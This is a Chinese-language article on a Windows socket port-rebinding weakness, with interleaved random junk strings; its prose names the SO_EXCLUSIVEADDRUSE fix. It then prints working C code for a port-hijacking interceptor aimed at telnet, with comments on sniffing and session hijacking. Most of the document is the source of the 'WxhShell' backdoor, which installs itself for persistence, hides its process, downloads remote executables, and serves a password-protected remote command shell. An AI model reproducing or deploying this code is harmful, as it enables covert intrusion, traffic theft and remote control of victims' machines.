在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
zSkM8LM2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?F`lI""E H&%=>hyX saddr.sin_family = AF_INET;
fpoH7Jd V J-u,6c saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zJ &qR +R*4`F:QJQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@W^g(I(w /mr&Y}7T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?k"KZxpT BH*vsxe 这意味着什么?意味着可以进行如下的攻击:
*TMg. v[lytX4) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
BNzL+"W 4"7Qz z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
GW}KmTa]& Yh"Z@D[d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/G84T,H zBc7bbK 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2%WZ-l!i eKu&_q 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6`+DBr #0 ^QUOp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Ro%S_! +>I4@1qC-| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
rJNf&x%6 Y!Z@1V` #include
Fs&m'g #include
TF3Tha] #include
;1eu8N8 #include
rj{'X / DWORD WINAPI ClientThread(LPVOID lpParam);
S
- 7JDE> int main()
DJ<e=F! {
blp )a WORD wVersionRequested;
:0srFg?X DWORD ret;
>EMCG.** WSADATA wsaData;
8zpK;+ BOOL val;
'TbA^U[ SOCKADDR_IN saddr;
r
Ssv^W+ SOCKADDR_IN scaddr;
h[B
Ft{x int err;
+)7NWR\ SOCKET s;
{0QA+[Yd&! SOCKET sc;
=%RDT9T. int caddsize;
Y ,}p HANDLE mt;
!`aodz*PO DWORD tid;
s:fnOMv
" wVersionRequested = MAKEWORD( 2, 2 );
T;FzKfT| err = WSAStartup( wVersionRequested, &wsaData );
?X:RrZ:/ if ( err != 0 ) {
`zep`j&8^ printf("error!WSAStartup failed!\n");
NS&~n^*k< return -1;
DO%YOv }
i[YYR,X| saddr.sin_family = AF_INET;
?8~$du$ Um9=<*p //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Gn_v}31d% -''vxt?7H& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
&0ULj6jj saddr.sin_port = htons(23);
J4co@=AJ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0 TS:o/{(a {
bUqO.FZ[ printf("error!socket failed!\n");
AV8TP-Ls+ return -1;
*:d_~B?Tn }
E+3~w?1 val = TRUE;
Pb~S{): //SO_REUSEADDR选项就是可以实现端口重绑定的
5hDE&hp if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
+osY
iP5 {
'.^JN@ printf("error!setsockopt failed!\n");
Fx.uPY.a return -1;
gjs-j{* }
/
Sp+MB9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pkM32v- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!BQ!]u //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
;eA~z"g j}ruXg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
vhUuf+P* {
(d!vm\-PH ret=GetLastError();
>|rL0 printf("error!bind failed!\n");
^Cak/5^K return -1;
A"P1B] }
q?t>!1c listen(s,2);
6zNN 8 while(1)
h{TnvI/" {
({i| caddsize = sizeof(scaddr);
I5D\Z //接受连接请求
9(B) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'dht5iI;Yw if(sc!=INVALID_SOCKET)
oiR`\uY {
v=W%|iZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
s&tr84u| if(mt==NULL)
?pxx,o6l {
x'
printf("Thread Creat Failed!\n");
I~mw\K{.3M break;
[hiOFmMJZ- }
P089Mh9 }
wYF)G;[wM CloseHandle(mt);
^.<IT" }
DdFVOs| closesocket(s);
)lW<:?k WSACleanup();
8)H"w$jq return 0;
%R_8`4IQ }
=|G PSRQ DWORD WINAPI ClientThread(LPVOID lpParam)
5N[Y2 {
M.l;!U!} SOCKET ss = (SOCKET)lpParam;
Ao]F_hZ SOCKET sc;
,$G89jSM unsigned char buf[4096];
"iKK&%W SOCKADDR_IN saddr;
CP?\'a"Kt long num;
m.4y=69 & DWORD val;
Q.8Jgel1 DWORD ret;
&MKv_ //如果是隐藏端口应用的话,可以在此处加一些判断
Vj:PNt[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
oF3#]6`;/ saddr.sin_family = AF_INET;
0u0Hl% nl saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2s(K4~e e saddr.sin_port = htons(23);
!-7(.i - if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[Q%3=pm_ {
{<|0M%v printf("error!socket failed!\n");
?pVODnP k return -1;
>
h:~*g }
,*bxNs'/ val = 100;
}y0UyOa{C if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
66BsUA.h {
u{_T,k<! ret = GetLastError();
; aMMIp return -1;
WFh!re%Z }
|epe;/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8p!PR^OM@ {
zPVA6~|l ret = GetLastError();
N
.SszZh return -1;
>uUbWKn3 }
>o[T#U if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
f^]2qoN {
hxtu^E/ printf("error!socket connect failed!\n");
U 26Iz closesocket(sc);
/Ia#udkNMp closesocket(ss);
U3Dy:K[ return -1;
3*'!,gK~[ }
HWHGxg['r while(1)
'Y-c*q {
|E}N8\Gr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
+-{HT+W //如果是嗅探内容的话,可以再此处进行内容分析和记录
@ojn<7W //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
t[DXG2& num = recv(ss,buf,4096,0);
)X7ZX#ttH if(num>0)
mM95BUB send(sc,buf,num,0);
1 8&^k| else if(num==0)
S]9xqiJW break;
7zNyH(. num = recv(sc,buf,4096,0);
@ 8SYV}0H if(num>0)
<2R=!n@b\ send(ss,buf,num,0);
5&VLq else if(num==0)
aFbA=6 break;
GCIm_
n }
fa6L+wt4O closesocket(ss);
_H;ObTiB closesocket(sc);
&K\di*kN return 0 ;
R!- RSkB }
<4VUzgX2 3 =S.- y6Rg@L&U ==========================================================
muY4:F.C( mH8"k+k 下边附上一个代码,,WXhSHELL
=?/J.[)<* \?}ZXKuJj ==========================================================
ABx0IdOcI {Ji[d.cY #include "stdafx.h"
fdPg{3x*k iveWau292 #include <stdio.h>
Ddu$49{S: #include <string.h>
kgA')] #include <windows.h>
++FMkeHZ #include <winsock2.h>
gE%- Pf~ #include <winsvc.h>
=*I>MgCJ #include <urlmon.h>
dvUJk<;w jd$lu^>I #pragma comment (lib, "Ws2_32.lib")
x0 j$]$ #pragma comment (lib, "urlmon.lib")
g#H#i~E^ p;C`n)7P7 #define MAX_USER 100 // 最大客户端连接数
0z%]HlPg #define BUF_SOCK 200 // sock buffer
6>KDK<5NQ #define KEY_BUFF 255 // 输入 buffer
3s$m0 PDtaL #define REBOOT 0 // 重启
<Z}2A8mjY #define SHUTDOWN 1 // 关机
@90) O1-Ne.$ #define DEF_PORT 5000 // 监听端口
sKNN ahGjh /y1,w JI #define REG_LEN 16 // 注册表键长度
#2n>J'} #define SVC_LEN 80 // NT服务名长度
:r!nz\%WW xr o // 从dll定义API
7 Xw#
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_o<8R@1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
PInU-"gG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;Qw>&24h[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
F_@PSA+ *)"`v] // wxhshell配置信息
(LGx;9S? struct WSCFG {
!d^5mati)T int ws_port; // 监听端口
>7
4'g} char ws_passstr[REG_LEN]; // 口令
r`mfLA]d int ws_autoins; // 安装标记, 1=yes 0=no
x!
Z|^q
char ws_regname[REG_LEN]; // 注册表键名
6o
{41@v( char ws_svcname[REG_LEN]; // 服务名
_,~/KJp char ws_svcdisp[SVC_LEN]; // 服务显示名
z}kD:A)a char ws_svcdesc[SVC_LEN]; // 服务描述信息
``0knr < char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(L
q^C= int ws_downexe; // 下载执行标记, 1=yes 0=no
#Z8<H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[NyR$yD{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:Oy9`vv v vOG]2z };
Ey 4GyAl D4[t@*m>7 // default Wxhshell configuration
8 \%*4L' struct WSCFG wscfg={DEF_PORT,
bluhiiATd "xuhuanlingzhe",
}Vk#w%EJ 1,
cO_En`F "Wxhshell",
29}(l#S}m "Wxhshell",
qm8[ ^jO& "WxhShell Service",
\_0nH` "Wrsky Windows CmdShell Service",
t13wQt "Please Input Your Password: ",
ax,%07hJ 1,
^ WidA- "
http://www.wrsky.com/wxhshell.exe",
0~)cAKus "Wxhshell.exe"
D1#fy=u69| };
1VH7z O cd
^{u // 消息定义模块
#2/k^N4r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
epR7p^`7 char *msg_ws_prompt="\n\r? for help\n\r#>";
v2/@Pu!kg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
A]QgX5\sa char *msg_ws_ext="\n\rExit.";
m)g:@^$ char *msg_ws_end="\n\rQuit.";
^vfp; char *msg_ws_boot="\n\rReboot...";
?/5WM% char *msg_ws_poff="\n\rShutdown...";
9qIjs$g char *msg_ws_down="\n\rSave to ";
K+2<{qwh ):kDWc char *msg_ws_err="\n\rErr!";
o[&*vc) char *msg_ws_ok="\n\rOK!";
4f'1g1@$ 'z>|N{-xG char ExeFile[MAX_PATH];
FK{Vnj0 int nUser = 0;
R~PD[.\u HANDLE handles[MAX_USER];
yC(xi"! int OsIsNt;
Y{6y.F*Q# QS\H[?M$ SERVICE_STATUS serviceStatus;
{OH"d SERVICE_STATUS_HANDLE hServiceStatusHandle;
SI^!e1@M[ l'y)L@|Qrh // 函数声明
?45bvkCT int Install(void);
Hj2E -RwG int Uninstall(void);
s<h]2W int DownloadFile(char *sURL, SOCKET wsh);
:I[nA?d[& int Boot(int flag);
STtjkZ6 void HideProc(void);
sZxf. int GetOsVer(void);
Pq KbG<}Y int Wxhshell(SOCKET wsl);
V*Ta[)E void TalkWithClient(void *cs);
U\s.fIr int CmdShell(SOCKET sock);
F^fL int StartFromService(void);
lhZXq!2p int StartWxhshell(LPSTR lpCmdLine);
>;:235'(M MZZEqsD5[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{mr!E VOID WINAPI NTServiceHandler( DWORD fdwControl );
6F
!B;D -Q :
M=0o< // 数据结构和表定义
U["'>&B SERVICE_TABLE_ENTRY DispatchTable[] =
(kCzz-_\ {
w&8N6gA14 {wscfg.ws_svcname, NTServiceMain},
.hPk}B/KV {NULL, NULL}
= ss(~[ };
Bi:%}8STH 62)Qr
// 自我安装
J2W#vFe\ int Install(void)
Z8IY!d {
4L)#ku$jW char svExeFile[MAX_PATH];
Qu"zzb"k HKEY key;
vgKZr strcpy(svExeFile,ExeFile);
Gl;xd =r:(ga // 如果是win9x系统,修改注册表设为自启动
HQGn[7JW if(!OsIsNt) {
RrA9@95+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.z0NMmz0z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+&bJhX RegCloseKey(key);
Kg?(Ax4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"{>BP$Jz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
n-P<y RegCloseKey(key);
1u>[0<U~E return 0;
,yf2kU }
!p
#m?|Km }
g6aIS^mU }
GO4IAUA else {
)d(F]uV:y %La<] // 如果是NT以上系统,安装为系统服务
'vCl@x$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
EC;R^) if (schSCManager!=0)
|2AMj0V~ {
6,Z.RT{5 SC_HANDLE schService = CreateService
Mj!\EUn (
#w]UP#^io schSCManager,
~xPU#m< wscfg.ws_svcname,
HV2 1=W wscfg.ws_svcdisp,
KJ (|skO SERVICE_ALL_ACCESS,
=2XAQiUR\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-,:^dxE' SERVICE_AUTO_START,
}ZqnsLu[) SERVICE_ERROR_NORMAL,
b,h@.s svExeFile,
T&'p5h=l NULL,
FT8<a }o NULL,
OKi}aQ2R* NULL,
@3*S:;x NULL,
8SGqDaRt NULL
|!m8JV|x );
kLE("I:7 if (schService!=0)
9u?[{h.`B {
}vK8P r% CloseServiceHandle(schService);
>dK# tsp CloseServiceHandle(schSCManager);
nz2`YyR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?*AhGza/ strcat(svExeFile,wscfg.ws_svcname);
xTnFJ$RK2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K]SsEsd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
OV2/? RegCloseKey(key);
@js`$ return 0;
I_k/lwBD }
dp}s]`x+ }
zQ~N(Jj?h CloseServiceHandle(schSCManager);
E%%iVFPX }
utzf7?nIS }
WBN3:Y7 @6"+x return 1;
/$NR@56
\ }
HkPdqNC& n:"0mWnL$y // 自我卸载
!-HJ%(5:F int Uninstall(void)
`;Od0uh {
YQ|o0> HKEY key;
R :*1Y\o( g|Tkl if(!OsIsNt) {
*/'j[uj
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FFtB# RegDeleteValue(key,wscfg.ws_regname);
ZHM NG~! RegCloseKey(key);
Xk] uXx:TN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!&adO,jN+= RegDeleteValue(key,wscfg.ws_regname);
V7<w9MM RegCloseKey(key);
fnJx$PD~ return 0;
.k -!/ ^ }
VX:Kq<XwQ }
#;0F-pt }
z!G?T(SpA else {
l@:&0id4I ,K15KN.' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"M3S if (schSCManager!=0)
s5\<D7 {
sK@]|9ciQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
dvcLZK if (schService!=0)
50e
vWD {
uCHM if(DeleteService(schService)!=0) {
a! 3e Z, CloseServiceHandle(schService);
LGh# CloseServiceHandle(schSCManager);
bfq%.<W return 0;
'YB{W8bR }
|R;` CloseServiceHandle(schService);
m1D,#=C,_ }
z2iWr CloseServiceHandle(schSCManager);
.I Io }
G:!3X) b }
uquY
z_2 .6c
Bx return 1;
OIs!,G| }
{)I&&fSz o'_eLp // 从指定url下载文件
SaOOD-u int DownloadFile(char *sURL, SOCKET wsh)
mtf><YU {
1RauI0d* HRESULT hr;
mKJO?7tj char seps[]= "/";
QL\3|'a char *token;
e7yn"kd char *file;
/Yj; '\3 char myURL[MAX_PATH];
pS "A{k)i char myFILE[MAX_PATH];
*SYuq) YF(bl1>YC strcpy(myURL,sURL);
8dh ?JqX token=strtok(myURL,seps);
&,QBJx<# while(token!=NULL)
gm$<U9L\v {
; EsfHCi) file=token;
&`}d;r|yn1 token=strtok(NULL,seps);
yujv^2/ }
_D{{C %_(^BZd GetCurrentDirectory(MAX_PATH,myFILE);
qFp]jbU strcat(myFILE, "\\");
GPrq( strcat(myFILE, file);
a+B3`6 send(wsh,myFILE,strlen(myFILE),0);
QsPZ dC send(wsh,"...",3,0);
-sx=1+\nf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
RgD:"zeM if(hr==S_OK)
XzW\p8D^u return 0;
L*6>S_l[ else
lvG+9e3+ return 1;
To;r#h yPf,GB" }
?NxaJ^ Xc9NM1bp= // 系统电源模块
{>d\ int Boot(int flag)
>CYz6G j {
**]=!W HANDLE hToken;
V8G.KA " TOKEN_PRIVILEGES tkp;
~3$:C#"Dl 8aY}b($*ZI if(OsIsNt) {
m[%P3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
7WHq'R{@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!]MGIh#u tkp.PrivilegeCount = 1;
&S[>*+}{+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
z
J V>; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
G)gPL]C0 if(flag==REBOOT) {
@Ll^ze&HI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\98|.EG return 0;
{A\y4D@ }
pYj} else {
gb26Y!7% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
'/fueku return 0;
fS4 Ru }
%O*)'ni
}
Me-H'Mp~ else {
xgIb4Y% if(flag==REBOOT) {
eMjW^-RgE5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
k^%F4d3z@C return 0;
eK/rsr }
&ZJ$V else {
wx^1lC2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U3p Mv|b return 0;
ei
@$_w*TH }
Sj;:*jk!h }
s-S|#5 {'o\#4Wk return 1;
3JZ9 G79H }
zrV~7$HL uXdR-@80* // win9x进程隐藏模块
(X|lK.W y void HideProc(void)
npcL<$<6X {
`o%Ua0x2 6z5?9I4[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%`j2?rn if ( hKernel != NULL )
N
lB%Qu {
b|U3\Fmc pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
b(_PV#@$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5xc-MkIRL FreeLibrary(hKernel);
`IK3e9QpcA }
R-5e9vyS /&RS+By(i return;
9]|G-cyt }
Tl*FK?)MC^ ;CA7\&L> // 获取操作系统版本
nn/_>%Y int GetOsVer(void)
<a=k"'0 {
ig?Tj4kD OSVERSIONINFO winfo;
okD7!)cr= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!qJ|`o Y GetVersionEx(&winfo);
#po}Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
0GnbE2& return 1;
BoXGoFn else
Jek)`D return 0;
@W!cC#u }
D?P1\<A~ )%9P ;/ // 客户端句柄模块
,IG?(CK| int Wxhshell(SOCKET wsl)
^/jALA9! {
5OX5\#Ux SOCKET wsh;
vLh,dzuo struct sockaddr_in client;
~[
x} DWORD myID;
/-1 F9 0& ?/TSC while(nUser<MAX_USER)
9h'klaE( {
[X=Ot#?u ~ int nSize=sizeof(client);
6Er%td)f wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
QP4`r#, if(wsh==INVALID_SOCKET) return 1;
YGr^uTQb ahm@ +/2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6IC/~Woghx if(handles[nUser]==0)
1|%C66f^ closesocket(wsh);
`K\(I#z else
V7i1BR8G nUser++;
ue#Yh }
F#$[jh$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
i:,37INMt "6fTZ< return 0;
`)s>},8W! }
7=x]p z'ZGN{L // 关闭 socket
qddP -uN void CloseIt(SOCKET wsh)
9% AL f 9 {
6z80Y*|eJ closesocket(wsh);
mu =H&JC nUser--;
fF} NPl ExitThread(0);
aqAWaO }
8k`rj; N>4uqFo // 客户端请求句柄
vd'd@T void TalkWithClient(void *cs)
f.&Y_G3a< {
OA3* "d* &GH,is SOCKET wsh=(SOCKET)cs;
R2$;f?;: char pwd[SVC_LEN];
f6Io|CZWJ char cmd[KEY_BUFF];
9K5[a^q|My char chr[1];
@( H int i,j;
=~~Y@eX RAW(lZ(
while (nUser < MAX_USER) {
FUj4y 9X {^VvL'n if(wscfg.ws_passstr) {
z`[q$H7? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?Em*yc@WD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R)?zL;,x //ZeroMemory(pwd,KEY_BUFF);
^UAL5}CQt i=0;
RxVf:h'l while(i<SVC_LEN) {
vS|uN(a.P `*=Tf // 设置超时
kM
T73OI>_ fd_set FdRead;
2v6QUf struct timeval TimeOut;
DIurFDQSS FD_ZERO(&FdRead);
^?)o,djY& FD_SET(wsh,&FdRead);
}$ZcC_ TimeOut.tv_sec=8;
r&t)%R@q TimeOut.tv_usec=0;
=?/RaK/
w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Z:PsQ~M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9V=bV=4: j7)Xm,wI8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2So7fZa^wg pwd
=chr[0]; U ExK|t
if(chr[0]==0xd || chr[0]==0xa) { dM1)wkbET
pwd=0; R1DXi
break; U{2UKD@PM
} k~st;FO
i++; w3=Bj
} OO:^#Mvv5
e)~7pXYV)
// 如果是非法用户,关闭 socket t%n3~i4X:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0?",dTf3i
} wcT0XXh
{^xp?zpV
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `"<} B"s
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6/Coi,om
|*im$[g=-
while(1) { e'c~;Z\A
Ta38/v;S
ZeroMemory(cmd,KEY_BUFF); Q4_+3-g<7L
TB
gD"i-
// 自动支持客户端 telnet标准 OwwlQp ~!J
j=0; EQkv&k5X
while(j<KEY_BUFF) { E(e'qL
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iG1vy'J#o
cmd[j]=chr[0]; ncluA~ 8
if(chr[0]==0xa || chr[0]==0xd) { O0{M3-
cmd[j]=0; $:%?-xy(
break; ?[\(i)]
} zhDmZ
j++; #qk A*WP
} aD~3C/?aW
m>gok0{pm
// 下载文件 -O2ZrJ!q
if(strstr(cmd,"http://")) { CqUK[#kW(
send(wsh,msg_ws_down,strlen(msg_ws_down),0); T3o}%wGW
if(DownloadFile(cmd,wsh)) 'Dq!o[2y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7B$iM,}.b
else x8sSb:N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (L?fYSP!
} JU7EC~7|2c
else { /!kKL$j
g(\FG
switch(cmd[0]) { Nt^R~#8hF>
mJu;B3@
// 帮助 &WIiw$@
case '?': { GQTMQXn(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b:Lp`8Du
break; h$p]#]uMb
} Nw}y_Qf{
// 安装 i6zfr|`@
case 'i': { zLlu%Oc
if(Install()) ;$G.?r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4}{HRs?
else SLL%XF~/Sb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J'O</o@e
break; wj/\!V!
} (z0S5#g
,x
// 卸载 o[Yxh%T
case 'r': { Da!A1|"
if(Uninstall()) tt`j!!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _-%A_5lCRE
else |~bl%g8xP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E ?(
break; 5Cd>p<
} $
+h~VC
// 显示 wxhshell 所在路径 B~cQl
case 'p': { q28i9$Yqj\
char svExeFile[MAX_PATH]; %_wX9ZT
strcpy(svExeFile,"\n\r"); 2l#Ogn`k
strcat(svExeFile,ExeFile); MJJy
mi'b
send(wsh,svExeFile,strlen(svExeFile),0); SUXRWFl
break; T^8t<S@`
} ^0R.U+?+
// 重启 <8[BB7
case 'b': { BhkJ>4#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nZa.3/7dJ
if(Boot(REBOOT)) <jT6|2'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K*Zf^g
m
else { #CoJ S[t
closesocket(wsh); %^m6Q!
ExitThread(0); &dZ-}.
af
} 1Tf"<Dp
break; pGz-5afL
} \~1M\gZP
// 关机 w:
~66 TCI
case 'd': { q_5k2'4K
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); , gk49z9
if(Boot(SHUTDOWN)) 7_taqcj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QF(.fq8, U
else { |k:MXI
closesocket(wsh); Qj?+R F6(
ExitThread(0); [y|"iSD
} j0!Z 20
break; m]BxGwT=m
} A^2VH$j]+
// 获取shell "W;GvI
case 's': { C)`k{(-{
CmdShell(wsh); n4+l,~
closesocket(wsh); 0.C y4sH'
ExitThread(0); _rXTHo7P
break; Tm5]M$)
} 9D:p~_"g
// 退出 }<o.VY&;.
case 'x': { z iR}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |BnjT*_9
CloseIt(wsh); s_-G`xT>{
break; $*^Ms>Pa_
} R+FBCVU&TJ
// 离开 D(D:/L8T,
case 'q': { Rz1&(_Ps
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <\GP\G
closesocket(wsh);
2J
=K\ L
WSACleanup(); LFob1HH*8
exit(1); 9D++SU2:}
break; )f9f_^;
} >6Y\CixN
} 9S@PY_ms
} eKNZ?!c=
:}0y[qc3
// 提示信息 _Iy0-=G
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NARW3\
} y|U3
} Tw"u{%t
9nlfb~F~P
return; * F%Wf
} EV|
6._Z(D
cdfJa
// shell模块句柄 Mib(J+Il
int CmdShell(SOCKET sock) %mPIr4$Pg
{ '9%72yG
STARTUPINFO si; R)d1]k8
ZeroMemory(&si,sizeof(si)); , j^ /~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "S.5_@?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5v"QKI
PROCESS_INFORMATION ProcessInfo; RUUV"y
char cmdline[]="cmd"; ZIQy}b'
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `q7O\
return 0; m8;;
O
} 6lOT5C eJ"
`P<}MeJ\l
// 自身启动模式 !`L%wS
int StartFromService(void) 0Lmq?D
{ .)o<'u@Ri
typedef struct T;qP"KWZ
{ /)Bk
r/
DWORD ExitStatus; ?47q0C
DWORD PebBaseAddress; S/)P&V%
DWORD AffinityMask; |oPCmsO3R{
DWORD BasePriority; J3gJSRT@P
